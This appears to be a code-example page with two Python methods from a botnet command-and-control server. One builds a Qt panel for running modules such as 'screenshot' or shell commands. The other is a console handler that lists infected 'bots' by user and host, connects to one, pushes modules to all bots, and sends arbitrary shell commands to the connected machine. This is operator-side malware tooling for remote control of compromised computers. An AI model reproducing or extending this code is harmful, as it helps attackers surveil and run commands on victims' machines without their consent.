Example #1
0
    def set_module_layout(self, module_name: str = "screenshot"):
        """Sets the layout which can execute modules."""
        self._current_layout = "Module"
        self._clear_layout()

        command_type_label = QLabel("Command type: ")
        command_type_combobox = QComboBox()

        command_type_combobox.addItem("Module")
        command_type_combobox.addItem("Shell")

        module_label = QLabel("Module name: ")
        module_combobox = QComboBox()

        for module_name in modules.get_names():
            module_combobox.addItem(module_name)

        module_combobox.currentTextChanged.connect(self._on_module_change)
        command_type_combobox.currentTextChanged.connect(
            self._on_command_type_change)

        self._layout.setColumnStretch(1, 1)
        self._layout.addWidget(command_type_label, 0, 0)
        self._layout.addWidget(command_type_combobox, 0, 1)
        self._layout.addWidget(module_label, 1, 0)
        self._layout.addWidget(module_combobox, 1, 1)

        # Module layout
        cached_module = modules.get_module(module_name)

        if not cached_module:
            cached_module = modules.load_module(module_name, self._module_view,
                                                self._model)

        input_fields = []

        for option_name in cached_module.get_setup_messages():
            input_field = QLineEdit()

            self._sub_layout.addWidget(QLabel(option_name))
            self._sub_layout.addWidget(input_field)
            input_fields.append(input_field)

        run_button = QPushButton("Run")
        run_button.setMaximumWidth(250)
        run_button.setMinimumHeight(25)

        run_button.pressed.connect(lambda: self._on_module_run(
            module_combobox.currentText(), input_fields))

        self._sub_layout.addWidget(QLabel(""))
        self._sub_layout.addWidget(run_button)
        self._sub_layout.setContentsMargins(0, 15, 0, 0)
        self._layout.addLayout(self._sub_layout,
                               self._layout.rowCount() + 2, 0, 1, 2)

        self._on_module_change(module_combobox.currentText())
Example #2
0
    def _process_command(self, command: str):
        """Processes command input."""
        if command.strip() == "":
            return

        self._view.output_separator()

        if command == "help":
            self._view.output(
                "Commands other than the ones listed below will be run on the connected "
                "bot as a shell command.", "info")
            self._view.output("help                 -  Show this help menu.")
            self._view.output(
                "bots                 -  Show the amount of available bots.")
            self._view.output(
                "connect <id>         -  Start interacting with the bot (required before using \"use\")."
            )
            self._view.output(
                "modules              -  Show a list of available modules.")
            self._view.output(
                "use <module_name>    -  Run the module on the connected bot.")
            self._view.output(
                "stop <module_name>   -  Ask the module to stop executing.")
            self._view.output(
                "setall <module_name> -  Set the module which will be run on every bot."
            )
            self._view.output(
                "stopall              -  Clear the globally set module.")
            self._view.output("clear                -  Clear the screen.")
            self._view.output(
                "exit/q/quit          -  Close the server and exit.")
        elif command.startswith("bots"):
            if command == "bots":
                bots = self._model.get_bots(limit=10)

                if not bots:
                    self._view.output("There are no available bots.",
                                      "attention")
                else:
                    self._view.output(
                        "No page specified, showing the first page.", "info")
                    self._view.output(
                        "Use \"bots <page>\" to see a different page (each page is 10 results).",
                        "info")

                    for i, bot in enumerate(self._model.get_bots(limit=10)):
                        self._view.output(
                            "{} = \"{}@{}\" (last seen: {})".format(
                                str(i), bot.username, bot.hostname,
                                strftime("%a, %b %d @ %H:%M:%S",
                                         localtime(bot.last_online))))
            else:
                try:
                    # Show the bots of the given "page".
                    page_number = int(command.split(" ")[1])

                    if page_number <= 0:
                        page_number = 1

                    skip_amount = (page_number * 10) - 10
                    bots = self._model.get_bots(limit=10,
                                                skip_amount=skip_amount)

                    if not bots:
                        self._view.output(
                            "There are no available bots on this page.",
                            "attention")
                    else:
                        self._view.output(
                            "Showing bots on page {}.".format(page_number),
                            "info")

                        for i, bot in enumerate(bots):
                            self._view.output(
                                "{} = \"{}@{}\" (last seen: {})".format(
                                    str(i), bot.username, bot.hostname,
                                    strftime("%a, %b %d @ %H:%M:%S",
                                             localtime(bot.last_online))))
                except ValueError:
                    self._view.output("Invalid page number.", "attention")
        elif command.startswith("connect"):
            try:
                specified_id = int(command.split(" ")[1])
                self._connected_bot = self._model.get_bots()[specified_id]

                self._view.output(
                    "Connected to \"%s@%s\", ready to send commands." %
                    (self._connected_bot.username,
                     self._connected_bot.hostname), "info")
                self._view.set_footer_text("Command ({}@{}, {}): ".format(
                    self._connected_bot.username, self._connected_bot.hostname,
                    self._connected_bot.local_path))
            except (IndexError, ValueError):
                self._view.output("Invalid bot ID (see \"bots\").",
                                  "attention")
                self._view.output("Usage: connect <ID>", "attention")
        elif command == "modules":
            self._view.output("Type \"use <module_name>\" to use a module.",
                              "info")

            for module_name in modules.get_names():
                try:
                    module = modules.get_module(module_name)

                    if not module:
                        module = modules.load_module(module_name, self._view,
                                                     self._model)

                    self._view.output("{:16} -  {}".format(
                        module_name,
                        module.get_info()["Description"]))
                except AttributeError as ex:
                    self._view.output(str(ex), "attention")
        elif command.startswith("useall"):
            if command == "useall":
                self._view.output("Usage: useall <module_name>", "attention")
                self._view.output(
                    "Type \"modules\" to get a list of available modules.",
                    "attention")
            else:
                module_name = command.split(" ")[1]

                module_thread = Thread(target=self._run_module,
                                       args=(module_name, True))
                module_thread.daemon = True
                module_thread.start()
        elif command == "clear":
            self._view.clear()
        elif command in ["exit", "q", "quit"]:
            raise ExitMainLoop()
        else:
            # Commands that require a connected bot.
            if not self._connected_bot:
                self._view.output(
                    "You must be connected to a bot to perform this action.",
                    "attention")
                self._view.output("Type \"connect <ID>\" to connect to a bot.",
                                  "attention")
            else:
                if command.startswith("use"):
                    if command == "use":
                        self._view.output("Usage: use <module_name>",
                                          "attention")
                        self._view.output(
                            "Type \"modules\" to get a list of available modules.",
                            "attention")
                    else:
                        module_name = command.split(" ")[1]

                        module_thread = Thread(target=self._run_module,
                                               args=(module_name, ))
                        module_thread.daemon = True
                        module_thread.start()
                else:
                    # Regular shell command.
                    self._view.output("Executing command: {}".format(command),
                                      "info")
                    self._model.add_command(
                        self._connected_bot.uid,
                        Command(CommandType.SHELL, command.encode()))